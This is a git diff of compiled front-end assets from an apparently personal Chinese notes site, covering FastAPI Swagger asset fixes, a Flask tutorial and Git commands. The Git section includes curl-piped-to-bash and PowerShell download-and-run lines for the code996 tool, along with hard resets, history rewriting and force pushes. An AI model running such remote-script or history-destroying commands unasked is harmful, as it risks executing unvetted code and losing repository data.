+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),os=n("hr",null,null,-1),is=n("h2",{id:"报错收集",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#报错收集","aria-hidden":"true"},"#"),s(" 报错收集")],-1),cs=n("h3",{id:"文档站点加载不出来",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#文档站点加载不出来","aria-hidden":"true"},"#"),s(" 文档站点加载不出来")],-1),ls={href:"https://blog.csdn.net/u014651560/article/details/116526653",target:"_blank",rel:"noopener noreferrer"},us=n("hr",null,null,-1),rs=e(`

    一般是 cdn.jsdelivr.net 的资源加载不出来, 被 GFW 污染了

    找到当前运行 FastAPI 服务的 Python 环境中安装的 FastAPI 依赖包的本地目录下的 openapi/docs.py, 如:

    xxx/.venv/lib/python3.10/site-packages/fastapi/openapi/docs.py

    get_swagger_ui_html 函数中有如下几个参数指向了公网的 js 与 css 和 png 资源文件, 可以将其下载下来之后换上本地目录

    image-20221206094438130

    首先需要在主程序挂载一下静态资源目录

    from fastapi.staticfiles import StaticFiles
    +app = FastAPI()
    +# 挂载本地资源
    +app.mount('/static', StaticFiles(directory=os.path.join('/home/xxx/', 'static')), name='static')
    +

    image-20221206103105582

    然后相应的将 xxx/.venv/lib/python3.10/site-packages/fastapi/openapi/docs.py 中的几个参数改为:

    swagger_js_url: str = "/static/js/swagger-ui-bundle.js",
    +swagger_css_url: str = "/static/css/swagger-ui.css",
    +swagger_favicon_url: str = "/static/img/favicon.png",
    +

    然后重启主程序即可


    如此配置好后访问交互式文档时可能还会报两个资源获取不到的问题, 是两个 .map 文件

    https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui-bundle.js.map
    +https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui.css.map
    +

    直接使用 wget 命令将其下载到对应位置即可:

    image-20221230161204692

    `,16);function ds(ks,ms){const t=l("ExternalLinkIcon"),c=l("Tabs"),u=l("Mermaid");return d(),k("div",null,[v,n("p",null,[n("a",b,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])]),h,g,n("blockquote",null,[n("p",null,[n("a",y,[s("第一步 - FastAPI (tiangolo.com)"),a(t)])])]),q,n("p",null,[f,s(" 是直接从 "),n("a",_,[s("Starlette"),a(t)]),s(" 继承的类。")]),n("blockquote",null,[n("p",null,[n("a",E,[s("Starlette (worldlink.com.cn)"),a(t)]),w,A])]),B,n("blockquote",null,[n("p",null,[n("a",x,[s("路径 - FastAPI (tiangolo.com)"),a(t)])])]),P,S,F,T,D,n("blockquote",null,[n("p",null,[n("a",I,[s("操作 - FastAPI (tiangolo.com)"),a(t)])])]),C,n("blockquote",null,[n("p",null,[n("a",L,[s("定义一个路径操作装饰器 - FastAPI (tiangolo.com)"),a(t)])])]),O,n("blockquote",null,[n("p",null,[n("a",U,[s("定义路径操作函数- FastAPI (tiangolo.com)"),a(t)])])]),R,n("blockquote",null,[n("p",null,[n("a",H,[s("返回内容- FastAPI (tiangolo.com)"),a(t)])])]),N,a(c,{id:"1293",data:[{id:"Python3.6"},{id:"Python3.7"}],active:1},{title0:p(({value:o,isActive:i})=>[s("Python3.6")]),title1:p(({value:o,isActive:i})=>[s("Python3.7")]),tab0:p(({value:o,isActive:i})=>[Q]),tab1:p(({value:o,isActive:i})=>[j]),_:1}),M,n("blockquote",null,[n("p",null,[n("a",W,[s("JSON Compatible Encoder - FastAPI (tiangolo.com)"),a(t)])])]),z,a(c,{id:"1341",data:[{id:"Python 3.6~3.10"},{id:"其它"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.6~3.10")]),title1:p(({value:o,isActive:i})=>[s("其它")]),tab0:p(({value:o,isActive:i})=>[G]),tab1:p(({value:o,isActive:i})=>[J]),_:1}),K,a(u,{id:"mermaid-1406",code:"eJxlUM9KwzAYv/cp8gKFHTzK7oInr2OULMvWstmMpGWH4UFQKWKhsE4cjlYUdRetJ3UO8WVM2r2FSRu3obfk+32/f1+nT4bIhtQD+wcGAD7DtJHHcxG8NYFpqq8LD/Fui9YHkLEhoW31Fum9mLyI8Jl/jE2zDhy25xqSzvxWl8KBDfqk67hyoIDRrwoQVxmPHvhsviZ/vz8d6TVpJ0GlhikldKdW00F4FIrgkmdn+c3xKp4WWdbcUKSkoiCKoYetMn7xeCeSk7WFzFpkt/lyLJJZHqciiNSWktgiSaUO7GHLhsy2tptWDDWuAkgzhyFCKUbeqBrpVheL1WlYldH4/0Z/UB2+PJbFfIQwY418uuSfE2nKz9NNAr54Lb5ifp3AcsvySA+7qgR228YPcZPVyQ=="}),V,a(u,{id:"mermaid-1410",code:"eJx1UU9LAkEUv/sp5miHjYKOKQgaCVEgeklkmd196qLuxsxuBdEh6tBFCDIQCqOi8mJ2CJQ6+GXcaT9GO7M76xY2pzfz+/N+b169bR/pTUwctFNKIURdrUHwQRMRwIbqUiBU7UAAJKAGOKruEgKWo2LdMQ9BEAXpH1oCTzDquAWqAbptgOrYLbBiyh+bX3J++IOFO5CWxUoCBstI3CQDKQq7f/bHj+zmnXXfvM9rRclysGjltbT/+sQGFzE0n47CeuGbdJWywDOLTFo4Nqlzwvpj7+rFG/W9u+FpTI3QgLmF2xS4AAixycbaerWym6uUt/dKxf1CvoaWSMrEFQreT4wq4yzC8Nd4NH5ZNUyKtTYYYbacWFAUjn18+ZNzGU6CgVxqMhneclMj2fm0G7L5jKYV7rlajArRtiZ8ZJSlbmJmbrfwij6vblf9Wc+7HXz3huxyMp89sLMxdwz9Uj/8RPOx"}),Y,n("blockquote",null,[n("p",null,[n("a",X,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),Z,n("blockquote",null,[n("p",null,[n("a",$,[s("SQLAlchemy"),a(t)])])]),nn,n("p",null,[n("a",sn,[s("关于 ORM mode 的技术细节"),a(t)])]),an,n("blockquote",null,[n("p",null,[n("a",tn,[s("What is the best tool or ORM to manage database in Fast API? · Issue #4659 · tiangolo/fastapi (github.com)"),a(t)])]),n("p",null,[n("a",en,[s("Prisma Client Python (prisma-client-py.readthedocs.io)"),a(t)])]),n("p",null,[n("a",pn,[s("prisma/prisma: Next-generation ORM for Node.js & TypeScript | PostgreSQL, MySQL, MariaDB, SQL Server, SQLite, MongoDB and CockroachDB (Preview) (github.com)"),a(t)])]),n("p",null,[n("a",on,[s("Prisma - Next-generation Node.js and TypeScript ORM for Databases"),a(t)])])]),cn,n("blockquote",null,[n("p",null,[n("a",ln,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),un,n("blockquote",null,[n("p",null,[n("a",rn,[dn,s(' = {"order_by":...-慕课网 (imooc.com)'),a(t)])]),kn]),mn,n("blockquote",null,[n("p",null,[n("a",vn,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),bn,n("blockquote",null,[n("p",null,[n("a",hn,[s("CORS(跨域资源共享) - FastAPI (tiangolo.com)"),a(t)])])]),n("p",null,[n("a",gn,[s("CORS 或者「跨域资源共享」"),a(t)]),s(" 指浏览器中运行的前端拥有与后端通信的 JavaScript 代码,而后端处于与前端不同的「源」的情况。")]),yn,n("blockquote",null,[n("p",null,[n("a",qn,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])]),n("p",null,[n("a",fn,[s("Background Tasks - FastAPI (tiangolo.com)"),a(t)])])]),_n,n("blockquote",null,[n("p",null,[n("a",En,[s("Background Tasks - FastAPI (tiangolo.com)"),a(t)])]),wn]),An,a(c,{id:"2207",data:[{id:"Python 3.10 and above"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.10 and above")]),tab0:p(({value:o,isActive:i})=>[Bn]),_:1}),xn,n("blockquote",null,[n("p",null,[n("a",Pn,[s("Events: startup - shutdown - FastAPI (tiangolo.com)"),a(t)])]),Sn]),Fn,Tn,n("blockquote",null,[n("p",null,[s("需要注意的是你只能在 "),Dn,s(" 中定义这种函数而不能在 "),n("a",In,[s("sub application"),a(t)]),s(" 中定义它们")])]),Cn,n("blockquote",null,[n("p",null,[n("a",Ln,[s("Testing - FastAPI (tiangolo.com)"),a(t)])]),n("p",null,[n("a",On,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),Un,n("blockquote",null,[Rn,n("blockquote",null,[n("p",null,[n("a",Hn,[s("Uvicorn 重载目录, 优维康 HTTP/2, 乌维康寿命 (zditect.com)"),a(t)])]),n("p",null,[n("a",Nn,[s("uvicorn reload-dir参数_聪明的大嘴花的博客-CSDN博客"),a(t)])]),n("p",null,[n("a",Qn,[s("Settings - Uvicorn"),a(t)])]),jn]),Mn,Wn]),zn,n("ul",null,[n("li",null,[Gn,n("blockquote",null,[n("p",null,[s("这里我是用 openssl 创建的自签名 SSL 证书, 可参阅: "),n("a",Jn,[s("通识-使用 OpenSSL 创建自签名证书 | DailyNotes (ayusummer.github.io)"),a(t)])])])])]),Kn,Vn,n("blockquote",null,[n("p",null,[n("a",Yn,[s("pydantic (helpmanual.io)"),a(t)])]),n("p",null,[n("a",Xn,[s("Python笔记:Pydantic库简介_Espresso Macchiato的博客-CSDN博客_pydantic"),a(t)])])]),Zn,$n,n("blockquote",null,[n("p",null,[n("a",ns,[s("Field Types - pydantic (helpmanual.io)"),a(t)])]),n("p",null,[n("a",ss,[s("Python笔记:Pydantic库简介_Espresso Macchiato的博客-CSDN博客_pydantic"),a(t)])])]),as,a(c,{id:"2408",data:[{id:"Python 3.7~3.9"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.7~3.9")]),tab0:p(({value:o,isActive:i})=>[ts]),_:1}),es,a(c,{id:"2416",data:[{id:"Python 3.7~3.9"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.7~3.9")]),tab0:p(({value:o,isActive:i})=>[ps]),_:1}),os,is,cs,n("blockquote",null,[n("p",null,[n("a",ls,[s("Python fastapi 内网访问swagger方法_高压锅_1220的博客-CSDN博客_fastapi swagger地址"),a(t)])]),us]),rs])}const hs=r(m,[["render",ds],["__file","FastAPI.html.vue"]]);export{hs as default}; diff --git a/assets/Flask.html-4d873605.js b/assets/Flask.html-4d873605.js new file mode 100644 index 0000000000..7cbfeae48f --- /dev/null +++ b/assets/Flask.html-4d873605.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-2bdce488","path":"/%E5%90%8E%E7%AB%AF/Flask/Flask.html","title":"Flask","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Microsoft Learn - 使用 Python 和 Flask 生成 AI Web 应用","slug":"microsoft-learn-使用-python-和-flask-生成-ai-web-应用","link":"#microsoft-learn-使用-python-和-flask-生成-ai-web-应用","children":[{"level":3,"title":"目标","slug":"目标","link":"#目标","children":[]},{"level":3,"title":"配置开发环境","slug":"配置开发环境","link":"#配置开发环境","children":[]},{"level":3,"title":"创建 Python 虚拟环境","slug":"创建-python-虚拟环境","link":"#创建-python-虚拟环境","children":[]},{"level":3,"title":"安装 Flask 和其他库","slug":"安装-flask-和其他库","link":"#安装-flask-和其他库","children":[]},{"level":3,"title":"Flask 基础知识","slug":"flask-基础知识","link":"#flask-基础知识","children":[]},{"level":3,"title":"创建应用","slug":"创建应用","link":"#创建应用","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1675222387000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2},{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":8.39,"words":2516},"filePathRelative":"后端/Flask/Flask.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data}; diff --git a/assets/Flask.html-9790b65f.js b/assets/Flask.html-9790b65f.js new file mode 100644 index 0000000000..b928d41e52 --- /dev/null +++ b/assets/Flask.html-9790b65f.js @@ -0,0 +1,59 @@ +import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as l,c,b as a,e as n,d as t,f as e}from"./app-893ba623.js";const u={},i=e('

    Flask

    Microsoft Learn - 使用 Python 和 Flask 生成 AI Web 应用

    ',3),r={href:"https://docs.microsoft.com/zh-cn/learn/modules/python-flask-build-ai-web-app/0-introduction",target:"_blank",rel:"noopener noreferrer"},d=a("p",null,"以下内容为以上述链接中内容为蓝本的摘抄, 删减, 扩充与注释",-1),k=e('

    目标


    配置开发环境


    创建 Python 虚拟环境

    一个项目专用一个虚拟环境, 避免与其他地方出现依赖冲突问题

    ',9),h={href:"https://www.zhihu.com/question/27937300",target:"_blank",rel:"noopener noreferrer"},v=a("p",null,"开发用 venv 测试部署用 docker",-1),g=e(`
    # 创建虚拟环境
    +python -m venv venv
    +# 激活虚拟环境
    +.\\venv\\Scripts\\activate
    +

    创建过程需要一些时间

    image-20211107114111351


    安装 Flask 和其他库

    在项目根目录下新建 requirements.txt 来描述本项目需要的 python 第三方库, 后续使用 pip 命令可以依据此文件安装项目依赖

    flask
    +python-dotenv
    +requests
    +

    python-dotenv: 用于管理密钥

    # pip 命令依据 requirements.txt 安装依赖
    +pip install -r requirements.txt
    +

    Flask 基础知识

    使用任何框架创建 Web 应用都需要了解几个核心概念: 路由, 方法模板化


    使用路由响应用户请求

    在使用 Web 应用时,用户通过浏览到不同的统一资源定位器(即 URL)来表明自己要执行的操作或正在查找的信息; 可以直接输入地址(比如 https://adventure-works.com),也可以选择链接或包含相应 URL 的按钮。 在电子商务网站上,你可能会看到如下 URL:

    作为开发人员,我们实际上无需担心 URL 的第一部分或域(本例中的“adventure-works.com”)。 我们的应用程序将根据域名后面的任何内容来执行操作,从 / 开始。 域名后面的部分称为“路由”

    域名在开发时候不用管, 后面部署项目的时候才会涉及到挂载业务

    路由是操作的路径。 与点击移动应用中的按钮类似,路由指示用户想要执行的操作。 我们将在 Web 应用中注册不同的路由,以响应应用程序支持的各种请求。

    在我们的应用程序中,我们通过提供一个函数来指示要如何响应特定路由请求。 路由是到函数的映射。 当我们考虑编写一般代码时,此概念相对直观。 当我们想要执行特定操作时,就会调用函数。 我们的用户将执行完全相同的操作! 不过他们将通过访问路由来完成此操作。


    方法或谓词

    可以通过所谓的方法或谓词(这两个术语意思相同,可以互换使用)以多种方式访问路由。 访问路由的方式提供了关于用户请求状态和用户要执行的操作的更多上下文。

    创建 Web 应用时,有许多可用方法,但最常见的两种方法(也是我们只关注的两种)是“GET”和“POST”。

    不管使用什么谓词,信息始终都返回给用户。

    使用 GETPOST 的常见应用程序流围绕使用表单展开。 假设我们创建了一款应用程序,其中用户想要注册邮件列表:

    用户并没有直接指明自己要使用的谓词,谓词由应用程序控制。 一般来说,如果用户通过键入 URL 或选择链接直接导航到 URL,则使用 GET 访问该页面。 当该用户选择表单的按钮时,通常会通过 POST 发送信息。


    模板

    超文本标记语言 (HTML) 是用于构造浏览器上显示的信息的语言,而级联样式表 (CSS) 则用于管理样式和布局。 在创建应用程序时,大多数 HTML 都是静态的,这意味着该语言不会改变。 然而,为使页面具有动态性,我们需要能够以编程方式将信息放入 HTML 页面。 几乎每个 Web 框架都可通过模板来满足这一需求。

    借助模板,你可以编写核心 HTML(或模板)并指示动态信息的占位符。 占位符最常见的语法或许是 {{ }}。 Flask 的模板引擎 Jinja 会使用这种语法。

    <h1>Welcome, {{ name }}</h1>
    +

    在前面的例子中,我们用到了 h1(标头)的 HTML,其中包含我们要显示的文本。 {{ name }} 表示要在“欢迎使用”之后显示一个名为 name 的变量。 通过这种语法,我们可以使用现有技能编写 HTML,并根据需要注入动态信息。


    创建应用

    我们将以迭代方式创建应用程序,在创建过程中重点关注特定的概念。 首先,我们将为应用程序创建登陆页面,该页面将显示用户要使用的表单。

    通常,Flask 应用程序的入口点是名为“app.py”的文件。 我们将遵循这一约定并创建应用程序的核心。 我们将执行以下步骤:


    创建核心应用程序

    在项目根目录下创建 app.py 并编辑

    from flask import Flask, redirect, url_for, request, render_template, session
    +
    +app = Flask(__name__)
    +

    当我们想返回 HTML 时,我们将在一段时间内使用 render_template

    app 将是我们的核心应用程序。 在下一步中,我们将使用它来注册路由。


    添加路由

    应用程序将使用一个路由 - /。 此路由有时称为“默认”或“索引”路由,因为在用户不提供域或服务器名称之外的任何内容时,就会使用该路由。

    app.py 末尾添加如下代码:

    @app.route('/', methods=['GET'])
    +def index():
    +    return render_template('index.html')
    +

    通过 @app.route,我们可以指定要创建的路由。 路径将是 /,这是默认路由。 我们指出这将用于 GET。 如果 / 收到 GET 请求,Flask 将自动调用修饰器下面直接声明的函数,我们的示例中为 index。 在 index 的正文中,我们表示将向用户返回一个名为“index.html”的 HTML 模板。


    为表单创建 HTML 模板

    `,53),m={href:"https://getbootstrap.com/",target:"_blank",rel:"noopener noreferrer"},b={href:"https://www.zhihu.com/question/412680346",target:"_blank",rel:"noopener noreferrer"},q={href:"https://www.w3cschool.cn/article/7600862.html",target:"_blank",rel:"noopener noreferrer"},E=a("p",null,"Bootstrap 上手快, 专为响应式页面而生, 所以此次初识 Flask 用其来布置页面",-1),f=e(``,1),_=a("code",null,"textarea",-1),B=a("code",null,"select",-1),A={href:"https://docs.microsoft.com/zh-cn/azure/cognitive-services/Translator/language-support?WT.mc_id=python-11210-chrhar",target:"_blank",rel:"noopener noreferrer"},x=a("code",null,"value",-1),y=e(`

    测试应用程序

    创建初始站点后,就该对其进行测试了! 我们将使用 Visual Studio Code 中的集成终端,让这一过程更轻松一些。

    在终端中运行以下命令将 Flask 运行时设置为开发,这意味着服务器将在每次更改时自动重载:

    # Windows
    +set FLASK_ENV=development
    +
    +# Linux/macOS
    +export FLASK_ENV=development
    +

    运行应用程序:

    flask run
    +
    `,7),F=a("p",null,[a("code",null,"Unicode Decode Error"),n(": 获取本机名称遇到中文导致乱码报错")],-1),T=a("p",null,[n("解决方案: 将本机名称改为英文: "),a("code",null,"设置 -> 系统 -> 关于 -> 重命名这台电脑")],-1),w={href:"https://www.cnblogs.com/wsgxg/p/15001711.html",target:"_blank",rel:"noopener noreferrer"},L=a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/img/202111071207376.png",alt:"image-20211107120655193"})],-1),M=a("blockquote",null,[a("p",null,"后面要用到 Azure 的一些服务, 手里没 visa 就不搞了(")],-1),H=a("hr",null,null,-1);function S(D,P){const s=o("ExternalLinkIcon");return l(),c("div",null,[i,a("blockquote",null,[a("p",null,[a("a",r,[n("使用 Python 和 Flask 生成 AI Web 应用 | 简介 - Learn | Microsoft Docs"),t(s)])]),d]),k,a("blockquote",null,[a("p",null,[a("a",h,[n("docker和virtualenv有什么区别? - 知乎 (zhihu.com)"),t(s)])]),v]),g,a("p",null,[n("Flask 的模板引擎 Jinja 非常关注 HTML。 因此,我们可以使用所有现有的 HTML 技能和工具。 我们将使用"),a("a",m,[n("Bootstrap"),t(s)]),n("来布置页面,使其更美观。 通过 Bootstrap ,我们将在 HTML 上使用不同的 CSS 类。 如果不熟悉 Bootstrap,则可以忽略这些类而专注于 HTML(这是真正重要的部分)。")]),a("blockquote",null,[a("p",null,[a("a",b,[n("bootstrap和vue哪个好? - 知乎 (zhihu.com)"),t(s)])]),a("p",null,[a("a",q,[n("vue与bootstrap有什么区别? | w3c笔记 (w3cschool.cn)"),t(s)])]),E]),f,a("p",null,[n("以上 HTML 中的核心组成部分是用户希望翻译的文本的 "),_,n(",以及用户将用来指示目标语言的下拉列表 ("),B,n(")。 如果要添加更多语言,则可以参考"),a("a",A,[n("受支持语言列表"),t(s)]),n(",获取其他选项。 将 "),x,n(" 属性设置为语言代码,例如,“pl”表示波兰语。")]),y,a("blockquote",null,[F,T,a("p",null,[a("a",w,[n("解决Python flask运行报错:UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd2 in position 0: invalid continuation byte - 戈小戈 - 博客园 (cnblogs.com)"),t(s)])]),L]),M,H])}const U=p(u,[["render",S],["__file","Flask.html.vue"]]);export{U as default}; diff --git a/assets/Git.html-881463a8.js b/assets/Git.html-881463a8.js new file mode 100644 index 0000000000..38605b331f --- /dev/null +++ b/assets/Git.html-881463a8.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-7be56ad4","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Git.html","title":"Git","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"查看与升级版本","slug":"查看与升级版本","link":"#查看与升级版本","children":[]},{"level":2,"title":"安装与配置相关","slug":"安装与配置相关","link":"#安装与配置相关","children":[{"level":3,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":3,"title":"配置","slug":"配置","link":"#配置","children":[]}]},{"level":2,"title":"仓库相关","slug":"仓库相关","link":"#仓库相关","children":[{"level":3,"title":"常规操作","slug":"常规操作","link":"#常规操作","children":[]},{"level":3,"title":"分支操作","slug":"分支操作","link":"#分支操作","children":[]},{"level":3,"title":"查看某个文件变动的所有历史记录","slug":"查看某个文件变动的所有历史记录","link":"#查看某个文件变动的所有历史记录","children":[]},{"level":3,"title":"强制拉取远程更新覆盖本地仓库","slug":"强制拉取远程更新覆盖本地仓库","link":"#强制拉取远程更新覆盖本地仓库","children":[]},{"level":3,"title":"批量修改提交名称与邮箱","slug":"批量修改提交名称与邮箱","link":"#批量修改提交名称与邮箱","children":[]}]},{"level":2,"title":"relations","slug":"relations","link":"#relations","children":[{"level":3,"title":"code996","slug":"code996","link":"#code996","children":[]}]},{"level":2,"title":"learnGitBranching","slug":"learngitbranching","link":"#learngitbranching","children":[]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":"fatal: Authentication failed","slug":"fatal-authentication-failed","link":"#fatal-authentication-failed","children":[]},{"level":3,"title":"filename too lang","slug":"filename-too-lang","link":"#filename-too-lang","children":[]},{"level":3,"title":"拉取时间过长","slug":"拉取时间过长","link":"#拉取时间过长","children":[]}]}],"git":{"createdTime":1675089670000,"updatedTime":1697730422000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1},{"name":"233PC","email":"ayusummer233@gmail.com","commits":1}]},"readingTime":{"minutes":6.94,"words":2082},"filePathRelative":"社区相关/Git.md","localizedDate":"2023年1月30日","excerpt":""}');export{l as data}; diff --git a/assets/Git.html-c9b78277.js b/assets/Git.html-c9b78277.js new file mode 100644 index 0000000000..6f91b4cb5d --- /dev/null +++ b/assets/Git.html-c9b78277.js @@ -0,0 +1,92 @@ +import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as l,c,b as n,e as a,d as s,f as t}from"./app-893ba623.js";const r={},p=n("h1",{id:"git",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#git","aria-hidden":"true"},"#"),a(" Git")],-1),d={href:"https://github.com/k88hudson/git-flight-rules/blob/master/README_zh-CN.md#merge-conflict",target:"_blank",rel:"noopener noreferrer"},u=t('

    查看与升级版本

    ',3),h={href:"https://stackoverflow.com/questions/13790592/how-to-upgrade-git-on-windows-to-the-latest-version",target:"_blank",rel:"noopener noreferrer"},m=t(`
    # 查看版本
    +git --version
    +# 升级 windows git
    +git update-git-for-windows
    +

    版本 > 2.16.1 则使用: git update-git-for-windows 版本 2.14.2-2.16.1 则使用: git update 版本 <2.14.2 请重新下载安装覆盖

    命令执行完毕后弹出 git 安装弹窗, 根据提示进行安装即可

    `,3),b={href:"https://git-scm.com/",target:"_blank",rel:"noopener noreferrer"},v=t(`

    安装与配置相关

    安装

    Linux

    Debian/Ubuntu

    # 更新源
    +apt update 	# 只检查,不更新
    +apt upgrade	# 更新已安装的软件包
    +# 安装最新版本的 git
    +apt-get install git
    +# For Ubuntu, this PPA provides the latest stable upstream Git version
    +add-apt-repository ppa:git-core/ppa
    +apt update
    +apt install git
    +

    PPA
    `,8),g={href:"https://zhuanlan.zhihu.com/p/55250294",target:"_blank",rel:"noopener noreferrer"},k=n("mark",null,"很详细",-1),f={href:"https://www.ubuntupit.com/what-is-ppa-in-ubuntu-linux-and-how-do-i-use-them/",target:"_blank",rel:"noopener noreferrer"},_=t("

    PPA 表示 个人软件包存档(Personal Package Archive)

    在这里注意 “个人” 这个词,它暗示了这是开发人员独有的东西,并没有得到分发的正式许可。


    软件仓库是一组文件,其中包含各种软件及其版本的信息,以及校验和等其他一些详细信息。每个版本的 Ubuntu 都有自己的四个官方软件仓库:


    PPA 基本上是一个包含软件信息的网址, 这些信息存储在 /etc/apt 目录中的 sources.list 文件中

    ",8),E=n("code",null,"sudo apt update",-1),A={href:"https://link.zhihu.com/?target=https%3A//wiki.debian.org/Apt",target:"_blank",rel:"noopener noreferrer"},B=n("code",null,"sudo apt install package_name",-1),x=t(`

    如果软件仓库中没有关于某个包的信息, 将会报错

    E: Unable to locate package
    +

    Ubuntu 对系统中的软件进行管理,更重要的是控制你在系统上获得哪个版本的软件

    Ubuntu 不会立即提供该新版本的软件。需要一个步骤来检查此新版本的软件是否与系统兼容,从而可以确保系统的稳定性。

    这就需要 PPA


    Ubuntu 提供了一个名为 Launchpad 的平台,使软件开发人员能够创建自己的软件仓库。终端用户,也就是你,可以将 PPA 仓库添加到 sources.list 文件中,当你更新系统时,你的系统会知道这个新软件的可用性,然后你可以使用标准的 sudo apt install 命令安装它。

    # 将 PPA 仓库添加到列表中
    +sudo add-apt-repository ppa:dr-akulavich/lighttable
    +# 更新可以在当前系统上安装的软件包列表。
    +sudo apt-get update
    +# 安装软件包。
    +sudo apt-get install lighttable-installer
    +

    配置

    git config --global user.email "GitHub绑定邮箱"
    +git config --global user.name "GitHub用户名"
    +

    仓库相关

    查看远程仓库地址

    git remote -v
    +

    常规操作

    # stage 当前所有修改
    +git add .
    +# commit 并加备注
    +git commit -m "备注"
    +# 推送到 origin master
    +git push origin master
    +

    分支操作

    # 新建并转移到 bugFix 分支
    +git checkout -b bugFix
    +# 提交
    +git commit
    +# 返回 master 分支
    +git checkout master
    +# 拉取主分支更新(并处理冲突)
    +git pull
    +# 返回 bugFix 分支, 合并 master 分支更新
    +git checkout bugFix
    +git merge master
    +git push
    +# 合并 bugFix 分支
    +git merge bugFix
    +

    查看某个文件变动的所有历史记录

    `,24),y={href:"https://blog.csdn.net/robertsong2004/article/details/46891695",target:"_blank",rel:"noopener noreferrer"},q=t(`
    git log -- [file_path]
    +

    image-20230208164141402

    得到 commit id 之后就可以根据这个 id 查询对应的提交记录了

    image-20230208171115272


    强制拉取远程更新覆盖本地仓库

    git fetch --all
    +git reset --hard origin/main
    +git pull
    +

    image-20231019233415081


    批量修改提交名称与邮箱

    # 遍历仓库中的所有提交, 将指定的提交者的名字和邮箱修改为新的名字和邮箱
    +git filter-branch --env-filter '
    +if [ "$GIT_COMMITTER_EMAIL" = "origin_email" ]; then
    +    export GIT_COMMITTER_EMAIL="new_email
    +fi
    +if [ "$GIT_AUTHOR_EMAIL" = "origin_email" ]; then
    +    export GIT_AUTHOR_EMAIL="new_email"
    +fi
    +if [ "$GIT_COMMITTER_NAME" = "origin_name" ]; then
    +    export GIT_COMMITTER_NAME="new_name"
    +fi
    +if [ "$GIT_AUTHOR_NAME" = "origin_name" ]; then
    +    export GIT_AUTHOR_NAME="new_name"
    +fi
    +' --tag-name-filter cat -- --branches --tags
    +
    +

    然后 git push -f

    如果提示无法强制推送则需要到仓库设置中允许该操作


    relations

    code996

    `,16),w={href:"https://github.com/hellodigua/code996",target:"_blank",rel:"noopener noreferrer"},G=n("p",null,"code996 是一个分析工具,它可以统计 Git 项目的 commit 时间分布,进而推导出这个项目的编码工作强度。",-1),P={href:"https://hellodigua.github.io/code996/",target:"_blank",rel:"noopener noreferrer"},T=t(`

    Mac 或 Linux 用户:

    在 Git 项目的根目录,执行以下命令:

    curl -fsSL https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh | bash
    +

    或者下载 https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh 后直接 bash code996.sh

    Windows 用户:

    下载该脚本 https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh

    然后将该脚本移至要分析的 Git 项目目录,并执行以下命令:

    iwr https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.ps1 -OutFile ([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'code996.ps1')); & ([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'code996.ps1')); ri ([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'code996.ps1'))
    +
    `,8),F=n("p",null,"需要使用 PowerShell 7 或更高版本",-1),I={href:"https://github.com/Ayusummer/DailyNotes/blob/main/%E9%80%9A%E8%AF%86/%E8%BD%AF%E4%BB%B6%E7%9B%B8%E5%85%B3.md#powershell-7",target:"_blank",rel:"noopener noreferrer"},C=n("hr",null,null,-1),D=n("h2",{id:"learngitbranching",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#learngitbranching","aria-hidden":"true"},"#"),a(" learnGitBranching")],-1),M={href:"https://github.com/pcottle/learnGitBranching",target:"_blank",rel:"noopener noreferrer"},U={href:"https://gitee.com/ayusummer233/learnGitBranching",target:"_blank",rel:"noopener noreferrer"},N=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202208261947482.png",alt:"image-20220826194715403"})],-1),O=n("p",null,"选择一台设备装好 Python 和 nodejs+yarn 并配置好 Git, 本次试验环境为 